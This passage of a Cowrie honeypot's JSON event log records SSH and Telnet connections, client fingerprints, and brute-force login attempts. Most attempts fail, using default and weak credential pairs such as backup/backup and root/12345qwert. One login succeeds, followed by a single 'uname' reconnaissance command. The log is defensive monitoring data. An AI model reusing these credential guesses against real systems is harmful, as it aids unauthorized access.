cdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:16.783530Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:17.094743Z","src_ip":"176.65.132.129","session":"4f54106ea25b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"241286","message":"login attempt [user/241286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:17.260723Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24121980","message":"login attempt [user/24121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:18.364480Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48052,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8a488eb0321","protocol":"ssh","message":"New connection: 176.65.132.129:48052 (159.203.135.109:22) [session: f8a488eb0321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.092664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.104864Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.191281Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24081979","message":"login attempt [user/24081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.467240Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.471681Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.783112Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.786678Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.874236Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:19.879908Z","src_ip":"176.65.132.129","session":"f8a488eb0321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.104568243026733,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:20.252109Z","src_ip":"99.236.74.17","session":"5f15aeed5ffe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"24061977","message":"login attempt [user/24061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:20.570244Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24041981","message":"login attempt [user/24041981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:21.675308Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48064,"dst_ip":"159.203.135.109","dst_port":22,"session":"79f73a46e5fc","protocol":"ssh","message":"New connection: 176.65.132.129:48064 (159.203.135.109:22) [session: 79f73a46e5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:22.547924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:22.551682Z","src_ip":"176.65.132.129","session":"79f73a46e5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:22.633027Z","src_ip":"176.65.132.129","session":"79f73a46e5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:22.777647Z","src_ip":"2.57.121.25","session":"48d5d7ed4518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:22.881622Z","src_ip":"176.65.132.129","session":"79f73a46e5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.83.40","src_port":57040,"dst_ip":"10.17.0.5","dst_port":23,"session":"055f893ddf4e","protocol":"telnet","message":"New connection: 104.236.83.40:57040 (10.17.0.5:23) [session: 055f893ddf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:23.092258Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:23.966466Z","src_ip":"176.65.132.129","session":"79f73a46e5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55460,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e699fefc9e","protocol":"ssh","message":"New connection: 172.237.20.62:55460 (159.203.135.109:22) [session: b5e699fefc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:24.146206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:24.150635Z","src_ip":"172.237.20.62","session":"b5e699fefc9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.55","src_port":12098,"dst_ip":"159.203.135.109","dst_port":23,"session":"1635d66bae47","protocol":"telnet","message":"New connection: 66.132.195.55:12098 (159.203.135.109:23) [session: 1635d66bae47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:24.297873Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:24.317808Z","src_ip":"172.237.20.62","session":"b5e699fefc9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:24.822803Z","src_ip":"172.237.20.62","session":"b5e699fefc9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54236,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ea40f193d12","protocol":"ssh","message":"New connection: 176.65.132.129:54236 (159.203.135.109:22) [session: 6ea40f193d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:25.900690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:25.912554Z","src_ip":"176.65.132.129","session":"6ea40f193d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:25.985514Z","src_ip":"172.237.20.62","session":"b5e699fefc9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:25.996610Z","src_ip":"176.65.132.129","session":"6ea40f193d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:26.245227Z","src_ip":"176.65.132.129","session":"6ea40f193d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:27.331613Z","src_ip":"176.65.132.129","session":"6ea40f193d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.282524585723877,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:27.580385Z","src_ip":"66.132.195.55","session":"1635d66bae47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54238,"dst_ip":"159.203.135.109","dst_port":22,"session":"c32ba9c9bf9a","protocol":"ssh","message":"New connection: 176.65.132.129:54238 (159.203.135.109:22) [session: c32ba9c9bf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:29.436539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:29.440708Z","src_ip":"176.65.132.129","session":"c32ba9c9bf9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:29.523298Z","src_ip":"176.65.132.129","session":"c32ba9c9bf9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:29.769988Z","src_ip":"176.65.132.129","session":"c32ba9c9bf9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:30.856182Z","src_ip":"176.65.132.129","session":"c32ba9c9bf9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.55","src_port":54544,"dst_ip":"159.203.135.109","dst_port":23,"session":"65f3795c56fa","protocol":"telnet","message":"New connection: 66.132.195.55:54544 (159.203.135.109:23) [session: 65f3795c56fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:31.469322Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6bcb2207ce9","protocol":"ssh","message":"New connection: 176.65.132.129:54250 (159.203.135.109:22) [session: a6bcb2207ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:32.778443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:32.783470Z","src_ip":"176.65.132.129","session":"a6bcb2207ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:32.866127Z","src_ip":"176.65.132.129","session":"a6bcb2207ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:33.111938Z","src_ip":"176.65.132.129","session":"a6bcb2207ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:34.197840Z","src_ip":"176.65.132.129","session":"a6bcb2207ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36192,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb56af14adf","protocol":"ssh","message":"New connection: 172.237.20.62:36192 (159.203.135.109:22) [session: fdb56af14adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:35.046577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:35.051212Z","src_ip":"172.237.20.62","session":"fdb56af14adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 